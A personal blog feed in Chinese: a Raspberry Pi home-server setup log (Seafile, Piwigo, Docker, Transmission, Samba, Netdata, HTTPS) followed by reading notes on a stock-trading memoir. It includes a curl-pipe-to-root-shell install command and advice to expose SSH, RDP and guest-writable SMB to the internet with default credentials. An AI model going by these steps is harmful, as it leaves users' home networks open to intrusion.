Coding~
2020-08-11T17:40:29+00:00
http://fish267.github.io
Fish
fsh267@gmail.com
我的树莓派使用记录
2020-08-11T00:00:00+00:00
http://fish267.github.io/2020/08/11/Raspberry_Pi_Cool
<p>久闻树莓派之大名,600大洋购于闲鱼,2020年8月4日有幸相会,开箱一刻,很是惊艳,原来就是身份证大小的玩意儿,捆绑销售一堆不明觉厉小器件。</p>
<p><img src="https://gw.alipayobjects.com/mdn/rms_456118/afts/img/A*sUjsSK3MkCIAAAAAAAAAAABkARQnAQ" alt="" /></p>
<p><img src="https://gw.alipayobjects.com/mdn/rms_456118/afts/img/A*meTkS7z2eHAAAAAAAAAAAABkARQnAQ" alt="" /></p>
<!--more-->
<h1 id="折腾之旅">折腾之旅</h1>
<p>是日也,天朗气清,惠风和畅,开始长达两周的 <code>Raspberry Pi 4B+</code> 折腾之旅,谨以此文记录下!</p>
<p>主要记录了以下几件小事:</p>
<ol>
<li>做网盘</li>
<li>做Web相册</li>
<li>挂PT</li>
<li>开SMB</li>
<li>系统监控</li>
<li>GPIO编程</li>
</ol>
<h2 id="1-系统安装与登录">1. 系统安装与登录</h2>
<p><strong>“虽趣舍万殊,静躁不同,当其欣于所遇,暂得于己,快然自足,不知老之将至” —《兰亭集序》</strong></p>
<hr />
<ol>
<li>系统初始化简单,读卡器插到电脑上,直接用 Raspberry Pi Imager 软件进行安装 <a href="https://www.raspberrypi.org/downloads/">下载地址</a>。也可以自己下载镜像后,img镜像烧录进去,用的是 etcher 软件,这种方式比较麻烦,适合安装非官方镜像,不建议使用;</li>
<li>
<p>取出TF卡,插到树莓派上,通过 micro DP 连上显示器,原则上就可以开机了。我没有这么做,一是没多余的显示器,二是键鼠都是蓝牙的,初次进入系统毫无办法,用下面三种方式都可以:</p>
<ul>
<li>打开tf卡,新建ssh空白文件,通过网线连到路由器,ssh连接树莓派</li>
<li>打开tf卡,新建ssh空白文件,通过网线连接到电脑,电脑共享网络后,ssh连接树莓派</li>
<li>打开tf卡,新建ssh空白文件与 wpa_supplicant.conf 文件,自动连上wifi</li>
</ul>
</li>
<li>推荐用第三种方案,不局限于网线的限制,玩硬件时摆出各种姿势,wpa_supplicant.conf 文件内容如下,ssid与psk分别是wifi名称与密码</li>
</ol>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">country</span><span class="o">=</span><span class="no">CN</span>
<span class="n">ctrl_interface</span><span class="o">=</span><span class="no">DIR</span><span class="o">=/</span><span class="kt">var</span><span class="o">/</span><span class="n">run</span><span class="o">/</span><span class="n">wpa_supplicant</span> <span class="no">GROUP</span><span class="o">=</span><span class="n">netdev</span>
<span class="n">update_config</span><span class="o">=</span><span class="mi">1</span>
<span class="n">network</span><span class="o">={</span>
<span class="n">ssid</span><span class="o">=</span><span class="s">"python"</span>
<span class="n">psk</span><span class="o">=</span><span class="s">"251125251"</span>
<span class="n">priority</span><span class="o">=</span><span class="mi">2</span>
<span class="o">}</span>
</code></pre></div></div>
<p>在路由器上看看树莓派 IP,然后ssh就可以访问了,默认账密是 pi/raspberry</p>
<p><img src="https://gw.alipayobjects.com/mdn/rms_456118/afts/img/A*jvFuTLI08kgAAAAAAAAAAABkARQnAQ" alt="" /></p>
<p><img src="https://gw.alipayobjects.com/mdn/rms_456118/afts/img/A*LPUoSrl15J0AAAAAAAAAAABkARQnAQ" alt="" /></p>
<p>注意登录信息上有 armv7l,表示该板子是 arm 架构,后面玩 docker 时会有不少坑。</p>
<p>家里有公网IP的话,路由器上做一下端口转发,就可以随时随地操控树莓派了,和买了个独立VPS一样,我将ssh的22端口,映射到了5267端口上,下图是用手机端 termius APP访问的截图</p>
<p><img src="https://gw.alipayobjects.com/mdn/rms_456118/afts/img/A*NYZNTZEJ6PQAAAAAAAAAAABkARQnAQ" alt="" /></p>
<h2 id="2-初始化-linux-环境">2. 初始化 Linux 环境</h2>
<p><strong>Across the Great Wall we can reach every corner in the world. —国内第一封邮件</strong></p>
<hr />
<ul>
<li>拿到新VPS后,先不要安装,第一件事就是换源,将清华的源覆盖掉官方源</li>
</ul>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s1">'deb http://mirrors.ustc.edu.cn/raspbian/raspbian/ stretch main contrib non-free rpi'</span> <span class="o">></span> /etc/apt/sources.list
<span class="nb">echo</span> <span class="s1">'deb http://mirrors.tuna.tsinghua.edu.cn/raspberrypi/ buster main ui deb-src http://mirrors.tuna.tsinghua.edu.cn/raspberrypi/ buster main ui'</span> <span class="o">></span> /etc/apt/sources.list.d/raspi.list
</code></pre></div></div>
<ul>
<li>然后进行 <code>zsh/git/autojump/vim</code>等常用工具安装,记得安装下 xrdp,然后映射下 3389 端口号到路由器</li>
</ul>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt <span class="nb">install </span>xrdp
</code></pre></div></div>
<p>使用 Remote DeskTop 等远程桌面软件,就可以访问到树莓派的图形化系统了,看看就行,没多大用,还占内存, 我唯一的用途是登录上去,打开家里路由器,添加端口号映射</p>
<p><img src="https://gw.alipayobjects.com/mdn/rms_456118/afts/img/A*1aO_TZpG4HsAAAAAAAAAAABkARQnAQ" alt="" /></p>
<h2 id="3-初玩硬件">3. 初玩硬件</h2>
<p><strong>仰观宇宙之大,俯察品类之盛,所以游目骋怀,足以极视听之娱,信可乐也</strong></p>
<hr />
<p>板子上有个40Pin 的针脚,将他用延长线接出来,插到面包板上,玩一玩捆绑销售的硬件。</p>
<p>使用树莓派编程,需要了解 GPIO,非常非常简单,直接根据针脚图,找到编号,然后写代码控制编号对应的针脚,输出高电平或者低电平即可,比当年51单片机省事多了。</p>
<p><img src="https://shumeipai.nxez.com/wp-content/uploads/2015/03/rpi-pins-40-0.png" alt="" /></p>
<p>下图是连接面包板的, 比较凌乱</p>
<p><img src="https://ftp.bmp.ovh/imgs/2020/08/64e544e1831ed13a.jpg" alt="" /></p>
<p>看下面的代码,控制发光二极管忽闪,只需要将编号17的针脚与外设连一起,就完事了。代码如此简单,令人发指,完全不用关心驱动,铁憨憨一样。</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">RPi.GPIO</span> <span class="k">as</span> <span class="n">GPIO</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="n">pin</span> <span class="o">=</span> <span class="mi">17</span>
<span class="n">GPIO</span><span class="p">.</span><span class="n">setmode</span><span class="p">(</span><span class="n">GPIO</span><span class="p">.</span><span class="n">BCM</span><span class="p">)</span>
<span class="n">GPIO</span><span class="p">.</span><span class="n">setup</span><span class="p">(</span><span class="n">pin</span><span class="p">,</span> <span class="n">GPIO</span><span class="p">.</span><span class="n">OUT</span><span class="p">)</span>
<span class="n">GPIO</span><span class="p">.</span><span class="n">output</span><span class="p">(</span><span class="n">pin</span><span class="p">,</span> <span class="n">GPIO</span><span class="p">.</span><span class="n">HIGH</span><span class="p">)</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="n">GPIO</span><span class="p">.</span><span class="n">output</span><span class="p">(</span><span class="n">pin</span><span class="p">,</span> <span class="n">GPIO</span><span class="p">.</span><span class="n">LOW</span><span class="p">)</span>
<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'lighting ~'</span><span class="p">)</span>
<span class="n">GPIO</span><span class="p">.</span><span class="n">output</span><span class="p">(</span><span class="n">pin</span><span class="p">,</span> <span class="n">GPIO</span><span class="p">.</span><span class="n">HIGH</span><span class="p">)</span>
<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
</code></pre></div></div>
<p>高级一点,我连上两个硬件, 一个按钮与激光头,实现了激光笔功能,按下开关就亮,代码也是清晰明了, 毫无技术含量.</p>
<p>可见树莓派是个纯软件玩具,再加上简单的 python,门槛极低,自带图形化界面,还有拖拽式编程,特别适合5岁及以上的孩子上手。</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">RPi.GPIO</span> <span class="k">as</span> <span class="n">GPIO</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="n">pin</span> <span class="o">=</span> <span class="mi">17</span>
<span class="n">GPIO</span><span class="p">.</span><span class="n">setmode</span><span class="p">(</span><span class="n">GPIO</span><span class="p">.</span><span class="n">BCM</span><span class="p">)</span>
<span class="n">GPIO</span><span class="p">.</span><span class="n">setup</span><span class="p">(</span><span class="n">pin</span><span class="p">,</span> <span class="n">GPIO</span><span class="p">.</span><span class="n">OUT</span><span class="p">)</span>
<span class="n">GPIO</span><span class="p">.</span><span class="n">output</span><span class="p">(</span><span class="n">pin</span><span class="p">,</span> <span class="n">GPIO</span><span class="p">.</span><span class="n">HIGH</span><span class="p">)</span>
<span class="n">button_pin</span> <span class="o">=</span> <span class="mi">18</span>
<span class="n">GPIO</span><span class="p">.</span><span class="n">setup</span><span class="p">(</span><span class="n">button_pin</span><span class="p">,</span> <span class="n">GPIO</span><span class="p">.</span><span class="n">IN</span><span class="p">,</span> <span class="n">pull_up_down</span><span class="o">=</span><span class="n">GPIO</span><span class="p">.</span><span class="n">PUD_UP</span><span class="p">)</span>
<span class="n">GPIO</span><span class="p">.</span><span class="n">output</span><span class="p">(</span><span class="n">pin</span><span class="p">,</span> <span class="n">GPIO</span><span class="p">.</span><span class="n">HIGH</span><span class="p">)</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="n">value</span> <span class="o">=</span> <span class="n">GPIO</span><span class="p">.</span><span class="nb">input</span><span class="p">(</span><span class="n">button_pin</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">value</span><span class="p">)</span>
<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.1</span><span class="p">)</span>
<span class="k">if</span><span class="p">(</span><span class="n">value</span> <span class="o">==</span> <span class="mi">0</span><span class="p">):</span>
<span class="k">print</span><span class="p">(</span><span class="s">'lighting ~'</span><span class="p">)</span>
<span class="n">GPIO</span><span class="p">.</span><span class="n">output</span><span class="p">(</span><span class="n">pin</span><span class="p">,</span> <span class="n">GPIO</span><span class="p">.</span><span class="n">HIGH</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">GPIO</span><span class="p">.</span><span class="n">output</span><span class="p">(</span><span class="n">pin</span><span class="p">,</span> <span class="n">GPIO</span><span class="p">.</span><span class="n">LOW</span><span class="p">)</span>
</code></pre></div></div>
<p>首次点亮二极管,还是挺兴奋的,我认为这才是树莓派的初衷,如果有公益项目,普及计算机给广大的乡村,该玩具肯定能给孩子带来无限乐趣与灵感,未来的世界,编程、外语等技能会和说普通话一样简单普及。</p>
<p>后之视今,亦犹今之视昔~</p>
<h2 id="4-当做网盘">4. 当做网盘</h2>
<p><strong>道生一,一生二,二生三,三生万物–《道德经》</strong></p>
<hr />
<p>我心目中的网盘,就是免费、开源、多账户、多客户端,简单说就是和百度网盘VIP中P一样的效果,最终选型 seafile,果然不负所托,非常好用。</p>
<p>安装方式参考 <a href="https://cloud.seafile.com/published/seafile-manual-cn/deploy/using_sqlite.md">seafile安装文档</a>,不要折腾 docker 了,没有适合 arm 的镜像。</p>
<ul>
<li>
<p>启动7.1.4版本时, 遇到了问题, 在论坛上解决的 <a href="https://bbs.seafile.com/t/topic/12353">https://bbs.seafile.com/t/topic/12353</a></p>
</li>
<li>
<p>一般树莓派做网盘,都会外接硬盘,数据存放到硬盘上,一是直接按照到移动硬盘</p>
</li>
<li>
<p>第二种方案是给 seafile-data 创建软连接,指向移动硬盘的目录,推荐第一种方案,简单好迁移,缺点是页面处理速度慢一点。</p>
</li>
</ul>
<p>硬盘丰富的话,记得对 seahub-data 目录进行 rsync 备份,没盘的可以同步到网盘。</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜ seafile tree <span class="nb">.</span> <span class="nt">-L</span> 1
<span class="nb">.</span>
|-- ccnet
|-- conf
|-- logs
|-- pids
|-- seafile-data
|-- seafile-server-7.1.4
|-- seafile-server-latest -> seafile-server-7.1.4
|-- seahub-data
<span class="sb">`</span><span class="nt">--</span> seahub.db
</code></pre></div></div>
<p>启动 seafile.sh 与 seahub.sh 后,默认占用8000端口,在设置项中,勾选”允许用户注册”。 PC页面与APP截图如下,简单粗暴且强大</p>
<p><img src="https://gw.alipayobjects.com/mdn/rms_456118/afts/img/A*EKrWS5AG7AwAAAAAAAAAAABkARQnAQ" alt="" /></p>
<p><img src="https://gw.alipayobjects.com/mdn/rms_456118/afts/img/A*w0k2TJd3zrcAAAAAAAAAAABkARQnAQ" alt="" /></p>
<h2 id="5-当web相册">5. 当Web相册</h2>
<p><strong>韶华易逝,时光荏苒,流年不在</strong></p>
<hr />
<p>照片是岁月留痕,调研了几个web相册,最终选型了 piwigo,古老的PHP代码编写,支持丰富的插件与客户端(ios客户端没连上)</p>
<p>该应用折腾了好久 run 起来,docker 也不要折腾了,也是根本适配不了树莓派。由此可见,纯粹的折腾软件,还是x86的小型机,拥有无可比拟的优势。。</p>
<p>根据官方文档,<a href="https://cn.piwigo.org/get-piwigo">安装方式地址</a>,需要提前安装好 nginx与php、mysql(树莓派只能安装 MariaDB)</p>
<p><strong>踩坑记录:</strong></p>
<p>该软件是折腾最耗时的, 我接入了移动硬盘后, 建立软连接也始终无法上传到硬盘上. 最终部署到了移动硬盘中, 但是上传文件时, 又遇到了报错, 原因是 fpm与nginx 使用的用户组是 www-data, 无法访问挂载的硬盘, 解决方式:</p>
<ol>
<li>修改 nginx 用户组, /etc/nginx/nginx.conf 配置文件, 修改 user www-data; 为 user pi;</li>
<li>修改 fpm 用户组, /etc/php/7.3/fpm/pool.d/www.conf, 将 user与group 统一改成 pi, 需要改4处</li>
<li>直接运行会报错,需要改下代码,<a href="https://dvpizone.wordpress.com/2014/03/11/how-to-install-piwigo-on-a-raspberry-pi/#:~:text=How%20to%20install%20Piwigo%20on%20a%20Raspberry%20Pi,installation%205%20Install%20Piwigo%206%20Optional%20steps.%20">参考文档</a></li>
<li>系统运行起来后,还会缺少 GP 等库,google 后 apt install 就行</li>
</ol>
<p>Web相册跑起来后,还是很欣慰的,ios App 一开始没搞定,设置好 https 后解决, 截图如下:</p>
<p><img src="https://gw.alipayobjects.com/mdn/rms_456118/afts/img/A*18eIT6cgwMAAAAAAAAAAAABkARQnAQ" alt="" /></p>
<p><img src="https://ftp.bmp.ovh/imgs/2020/08/f4e312f524b2fc02.png" alt="" /></p>
<p>如果需要直接读取系统目录上的照片,可以上同步到 galleries 目录中</p>
<h2 id="6-挂pt">6. 挂PT</h2>
<p><strong>虽无丝竹管弦之盛,一觞一咏,亦足以畅叙幽情</strong></p>
<hr />
<p>闲鱼入手的初衷就是省电挂PT,此处终于用到了 docker,实际上不推荐使用,这玩意儿一启动就占用了1G多内存,我买的4G版本,启动各种服务后,几乎是满载状态,爱折腾的建议一步到位,直接买8G内存版本</p>
<p>Docker 安装, 参考文档 <a href="https://shumeipai.nxez.com/2019/05/20/how-to-install-docker-on-your-raspberry-pi.html">https://shumeipai.nxez.com/2019/05/20/how-to-install-docker-on-your-raspberry-pi.html
</a> 记得换源</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">sudo</span> <span class="n">curl</span> <span class="o">-</span><span class="n">sSL</span> <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">get</span><span class="p">.</span><span class="n">docker</span><span class="p">.</span><span class="n">com</span> <span class="o">|</span> <span class="n">sh</span>
<span class="c1">#下载 Docker 图形化界面 portainer
</span><span class="n">sudo</span> <span class="n">docker</span> <span class="n">pull</span> <span class="n">portainer</span><span class="o">/</span><span class="n">portainer</span>
<span class="c1">#创建 portainer 容器
</span><span class="n">sudo</span> <span class="n">docker</span> <span class="n">volume</span> <span class="n">create</span> <span class="n">portainer_data</span>
<span class="c1">#运行 portainer
</span><span class="n">sudo</span> <span class="n">docker</span> <span class="n">run</span> <span class="o">-</span><span class="n">d</span> <span class="o">-</span><span class="n">p</span> <span class="mi">9000</span><span class="p">:</span><span class="mi">9000</span> <span class="o">--</span><span class="n">name</span> <span class="n">portainer</span> <span class="o">--</span><span class="n">restart</span> <span class="n">always</span> <span class="o">-</span><span class="n">v</span> <span class="o">/</span><span class="n">var</span><span class="o">/</span><span class="n">run</span><span class="o">/</span><span class="n">docker</span><span class="p">.</span><span class="n">sock</span><span class="p">:</span><span class="o">/</span><span class="n">var</span><span class="o">/</span><span class="n">run</span><span class="o">/</span><span class="n">docker</span><span class="p">.</span><span class="n">sock</span> <span class="o">-</span><span class="n">v</span> <span class="n">portainer_data</span><span class="p">:</span><span class="o">/</span><span class="n">data</span> <span class="n">portainer</span><span class="o">/</span><span class="n">portainer</span>
</code></pre></div></div>
<p>安装 transmission 挂PT, 直接撸个镜像. 访问 9091 端口,启动时的参数 -v 就是移动硬盘的挂载位置</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker run <span class="nt">-d</span> <span class="se">\</span>
<span class="nt">--restart</span><span class="o">=</span>always <span class="se">\</span>
<span class="nt">--name</span> transmission <span class="se">\</span>
<span class="nt">-v</span> /home/pi/torrents:/to_download <span class="se">\</span>
<span class="nt">-v</span> /home/pi/download:/output <span class="se">\</span>
<span class="nt">-p</span> 9091:9091 <span class="se">\</span>
<span class="nt">-p</span> 51413:51413 <span class="se">\</span>
jaymoulin/transmission
</code></pre></div></div>
<p>有 docker 镜像的应用,非常省心,不用Debug,不用调试依赖,无痛启动,另外这个镜像有Bug,登录web页面时,将用户名密码删掉后直接登录</p>
<p><img src="https://gw.alipayobjects.com/mdn/rms_456118/afts/img/A*l1ljRYzTWy0AAAAAAAAAAABkARQnAQ" alt="" /></p>
<h2 id="7-开启smb服务">7. 开启smb服务</h2>
<p><strong>固知一死生为虚诞,齐彭殇为妄作</strong></p>
<hr />
<p>挂PT下片后,开启smb服务,电视、手机、电脑等就可以直接看片,速度还行,我连的wifi,也能播放蓝光,就是发热量挺大</p>
<p>执行</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt-get <span class="nb">install </span>samba samba-common-bin
</code></pre></div></div>
<p>修改配置文件,追加下面的内容,path 指向的是 pt 下载目录</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>share]
path <span class="o">=</span> /media/pi/PDisk/transmission
valid <span class="nb">users</span> <span class="o">=</span> pi
browseable <span class="o">=</span> <span class="nb">yes
</span>public <span class="o">=</span> <span class="nb">yes
</span>writable <span class="o">=</span> <span class="nb">yes
</span>guest ok <span class="o">=</span> <span class="nb">yes
read </span>only <span class="o">=</span> no
</code></pre></div></div>
<p>然后重启下 smb</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo service smbd restart
</code></pre></div></div>
<p>如果需要外网访问,445端口与139端口开一下端口映射,手机和电脑都可以直接访问,随时随地无忧看片,不过没啥意义,速度上不来。</p>
<p>建议只在局域网内访问,下面是PC与手机端访问的截图</p>
<p><img src="https://gw.alipayobjects.com/mdn/rms_456118/afts/img/A*odULRoE7qvEAAAAAAAAAAABkARQnAQ" alt="" />
<img src="https://gw.alipayobjects.com/mdn/rms_456118/afts/img/A*Bc8GTaR3fTAAAAAAAAAAAABkARQnAQ" alt="" />
<img src="https://gw.alipayobjects.com/mdn/rms_456118/afts/img/A*mj1eTJKrGIkAAAAAAAAAAABkARQnAQ" alt="" /></p>
<h2 id="8-安装树莓派监控">8. 安装树莓派监控</h2>
<p><strong>向之所欣,俯仰之间,已为陈迹,犹不能不以之兴怀,况修短随化,终期于尽</strong></p>
<hr />
<p>不想通过top命令查看硬件指标,可以使用netdata做监控,<a href="https://github.com/netdata/netdata">参考安装文档</a>,效果图如下,十分炫酷,就是很消耗资源,启动后就占用了 700M内存</p>
<p><img src="https://gw.alipayobjects.com/mdn/rms_456118/afts/img/A*IgC6QI7Bv0kAAAAAAAAAAABkARQnAQ" alt="" /></p>
<p>启动命令 <code>sudo /usr/sbin/netdata</code>, 后面会直接用硬件LED屏来显示树莓派状态, NetData 光炫酷了, 内存捉急.</p>
<h2 id="9-安装https">9. 安装https</h2>
<p><strong>故列叙时人,录其所述,虽世殊事异,所以兴怀,其致一也。后之览者,亦将有感于斯文。</strong></p>
<hr />
<p>最后一个篇幅, 留给https配置吧, 手机端相册 piwigo与 seafile 都用得到, 好多功能比如广告拦截的就不记了,后面玩硬件时再写,我直接使用的 acme.sh, 非常方便, <a href="https://github.com/acmesh-official/acme.sh/wiki/%E8%AF%B4%E6%98%8E">参考官方Wiki</a></p>
<p>用acme生成证书后, nginx 设置下, 然后restart, 就能直接访问了.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="c1"># SSL configuration
</span> <span class="c1">#
</span> <span class="n">listen</span> <span class="mi">443</span> <span class="n">ssl</span> <span class="n">default_server</span><span class="p">;</span>
<span class="n">ssl_certificate</span> <span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">pi</span><span class="o">/</span><span class="n">cert</span><span class="o">/</span><span class="n">love67</span><span class="o">/</span><span class="n">cert</span><span class="p">.</span><span class="n">pem</span><span class="p">;</span>
<span class="n">ssl_certificate_key</span> <span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">pi</span><span class="o">/</span><span class="n">cert</span><span class="o">/</span><span class="n">love67</span><span class="o">/</span><span class="n">key</span><span class="p">.</span><span class="n">pem</span><span class="p">;</span>
</code></pre></div></div>
<<股票作手回忆录>> 读书笔记
2020-06-22T00:00:00+00:00
http://fish267.github.io/2020/06/22/stock-memory-by-livemore-reading-notes
<p><img src="https://img3.doubanio.com/view/subject/l/public/s8857282.jpg" alt="" /></p>
<!--more-->
<p>读完这本书,在豆瓣看书评时,才知道是大名鼎鼎的利弗莫尔写的,不知道和手上用的利弗莫尔证券有没有关系,哈哈,书中的每个不经意的总结总令人深思,原文记录内容如下:</p>
<ul>
<li>华尔街没有新鲜事,因为投机像群山一样古老,股市上今天发生的事,过去曾经发生过,将来也必然再次发生。在上涨或下跌前,股价总会呈现某些“习惯”,一种特定的模式。</li>
<li>股价的波动总是有原因的,但行情记录器不会告诉你他为什么这样动而不那样动,他不做任何解释。股价涨跌的原因知不知道没有关系,你要么立刻行动,要么丢掉机会。不要问为什么,原因总比机会晚来很久。</li>
<li>如果要发生什么事情,但是我又不知道会发生什么,我就没办法保护自己,所以,最好还是赶快离场。如果事情没有按照你预想的发展,那么肯定有什么地方发生问题,最好先离场。</li>
<li>我失误的原因是不能坚持自己的交易原则:市场信号出现之前,不要出手。任何事情的成功都需要掐准时间,这也正是华尔街上众多高明的投机者失败的原因。世界上的傻子,大多随时随地都会做错事。</li>
<li>没有任何人有充分的理由天天买卖股票,没有任何人有足够的知识保证自己的每次交易都理智。如果没有好股票,银行是钞票最好的归宿。频繁的交易是盲目的交易,要耐心等待合适交易机会的出现。只有当我确信自己不会赔钱才能动手,而如果不确信一定能赚钱,我就该按兵不动。市场整体行情不好时,不要强迫交易,那只会带来亏损。</li>
<li>赚钱的交易不会让你成长,他只会拖你的后腿,你必须从失败和犯错中获得经验。经验必须用金钱来换,这就是为什么我们说“经验是昂贵的”的原因。我几次经历倾家荡产,但我的精神却从不倾家荡产,我每次都能从自己的失败中总结经验。</li>
<li>先要成功的第一步,了解游戏规则。</li>
<li>犯错的是人不是市场,不要抱怨市场,对市场发火一点好处也没有。永远不要与行情斗气,如果股市不如你意你就对他火冒三丈,就像得了肺炎便抱怨自己的肺一样愚蠢至极。永远别和行情争执,也别企盼行情给你理由或解释,时候给股市解剖验尸不能带来任何利润。</li>
<li>股市上只有赢家和输家,除此之外再无其他。只有通过真金白银在能证明自己观点的正确性,赔钱了承认自己的方法错了,赚钱则证明我是对的。</li>
<li>要想在股票市场占有一席之地,就必须对自己和自己的判断充满信心,所以我不听信种种所谓的内幕消息。这是个聪明人的游戏,只有靠自己正确的判断进行明智的投资才能赚大钱。</li>
<li>与市场走势为伍,不用限价交易,用市价交易,必须保证自己能进退自如。</li>
<li>不能着急,不能在股价的短期波动上下注,而应该把目光放得更长远些,去预测股票的整体趋势。</li>
<li>知道什么不该做和知道什么该做同样重要,等你知道为了避免亏钱,有些事是不该做的,你就开始懂得如何赢钱了。</li>
<li>赌博和投机的根本区别:赌涨跌与预测涨跌。尽管股票投机必须遵循主要法则,但是仅靠数学模式和定律是远远不够的,否则人人都是股票天才了。</li>
<li>看大势做股票,牛市做多,熊市做空,没有人能和趋势对抗。首先要判断出这是什么市,这是重中之重,只有在牛市的整体上扬中才有机会赚大钱。所有在熊市炒作多头的人都注定会以失败告终。</li>
<li>在解决问题之前,我会好好分析它,一旦我认为自己找到了赚钱的方向,我就要验证它,而验证的唯一方法就是投入资金。</li>
<li>每个前辈都是可以走路的智慧容器,和智者交流,将其成功经验转化为自己的操作策略,可以让你在市场演练中少付学费。</li>
<li>每个人都有自己的弱点,你的弱点是什么?了解你自己。</li>
<li>我的想法从来都没有替我赚过大钱,总是坚持不动替我赚大钱。赚大钱不能靠股价的短期波动,而要靠大波动,即不能光看个别的起伏,而要判断个股的大趋势和大盘的行情走势。</li>
<li>没有一个人能抓住所有的起伏。在牛市,你就应该买进持仓,知道你觉得牛市将尽,抛空你的股票!要做到这一点,你应当研究大盘和经济形势,而不要听信内幕消息甚至只关注个股波动。慢慢寻找大盘开始反转的蛛丝马迹。要做到这一点,你必须动脑筋并把目光放长远,不要去抓最初或最后的1/8利润,那需要太大的代价。抄底和逃顶是镜花水月可望而不可及。</li>
<li>每当找到亏损和失误的原因时,我就会把它作为一条崭新的“禁令”记下来。</li>
<li>数字会说谎,大势是唯一可靠的朋友。</li>
<li>别人都在做什么,并不说明你也得跟着做。想要赚钱,就找别人不懂得做,或做盲目的乐观和悲观者不肯做的事。改变大众的观点需要一个漫长的过程。</li>
<li>试水:股价永远不会高到不能买进,也不会低到你无法抛出。</li>
<li>买涨不买跌,关键不在于能否抄底或逃顶,而在于能否保证对买进卖出时机判断的正确率和在错误时及时止损的能力。当看跌做空时,做空的成交价一定是一次比一次低;看涨买进时,买进的成交价一定是一次比一次高。</li>
<li>舍弃先入为主,把偏见留在场外。</li>
<li>坚持眼见为实、耳听为虚,从不听信别人告诉我的事实和他们灌输给我的结论,我只会相信自己观察得出的结论。</li>
<li>即使看准了大盘走势,也要确定时机成熟才能行动。世界上最强大、最真诚的盟友是基本面,尽管有时反应比较迟钝,但只要耐心等待,他总是很可靠。对事情的逻辑分析比行情分析要可靠的多。</li>
<li>人非圣贤,孰能无错,试错是股市永恒的主题。</li>
<li>先学会做对的事情,赚钱只是结果。一个人犯错的时候他唯一能做的就是不要再错下去。</li>
<li>可以正确的亏钱但不能一再犯错。</li>
<li>分析行情的目的是确立立场——做多还是做空,然后是什么时候最合适进场。价格会沿着阻力最小的方向运动,你所要做的,就是关注行情并确立阻力点,一旦确定最小阻力方向就应该顺应它进行交易。你应该观察市场,解读行情已确定窄幅波动价格的浮动上下线,并下定决心除非价格突破界限,否则绝不出手。</li>
<li>我先估计价格最有可能的变化方向,在进行检验,然后确定出手的最佳时机。我通常在高位做多,低位做空,顺势交易。在对的时候下大注,在错的时候亏一点探测行赌注。</li>
<li>职业赌徒并不追求长线,只想稳赚钱。当然,只要时机合适,做长线也不错。每上涨1%就加仓100股,并把止损点永远设定在最后一笔交易成交价低一个点。(海龟)</li>
<li>投机者最大的敌人是他自己,因为人类有希望和恐惧的本性。当市场对你不利时,你会希望这是最后一天亏损,抱着这样的希望,你会亏损的越来越多。当市场对你有利时,你会害怕第二天利润就全没了,于是心急的退出,因为恐惧,你损失了本该赚到的钱。成功的交易者必须克服这两种根深蒂固的本性,彻底改变冲动的天性。</li>
<li>一个人可以在一段时间打败一只股票或一些股票,但没有人可以打败整个股市。</li>
<li>在投机市场上,决定一个人赚钱还是赔钱的,正是他看待事物的态度:普通人总觉得自己的操作只是游戏,而且自以为是,从而导致思考不深刻、不透彻;专业人士则力求行事正确,这比赚钱更重要。因为他们知道只要做对每一件事,自然能赚到钱。要高瞻远瞩而不是只看到眼前利益。</li>
<li>认识容易倍左右的动物,再聪明的投资者也可能需要坚强的意志才能置身于“羊群”之外。你如果听信别人的“高明分析”从而失去自我判断,那你也就成为了别人的影子,将生命交到了别人的手上。对交易者来说,最危险的敌人就是聪明的朋友的热切规劝和人格魅力。我用赚不赚钱来支持或否定自己的观点。生意就是生意,作为一名投机者,应该始终坚持自己的判断而不是因为他人的好意而迷失自我。</li>
<li>这是场心态、原则、智力的竞争,最大的乐趣首先在于赢,而非在于钱,这种满足感和喜悦感让人痴迷上瘾。这就是为什么股票投机和赌博经常相提并论的原因之一。</li>
<li>一个人犯错不需要理由。人总是会犯错。最致命的是自乱阵脚,最费钱的是人情羁绊。</li>
<li>解读自己和解读行情同样重要。</li>
<li>在市场上,没有人能永远正确,免受不利事件的影响。</li>
<li>牛市中要注意熊市冒头的信号,而熊市中要注意牛市来临的信号。</li>
<li>李东和利空消息总会顺应大盘的最小阻力方向。在熊市中,如果混乱突然降临,立刻回补一定是明智的,它可以在你交易量很大的时候一分不少的把账面利润转化为实实在在的现金。</li>
<li>承认错误是件值得骄傲的事情。我能承认错误,也就会原谅别人犯错。这是我与他人和谐共识的基础。犯错误并没有什么好羞耻的,只有知错不改才是耻辱。</li>
<li>盈利出金,且相对稳定不受交易的影响。</li>
<li>商战不是人与人的争斗,而是眼光和眼光的较量。</li>
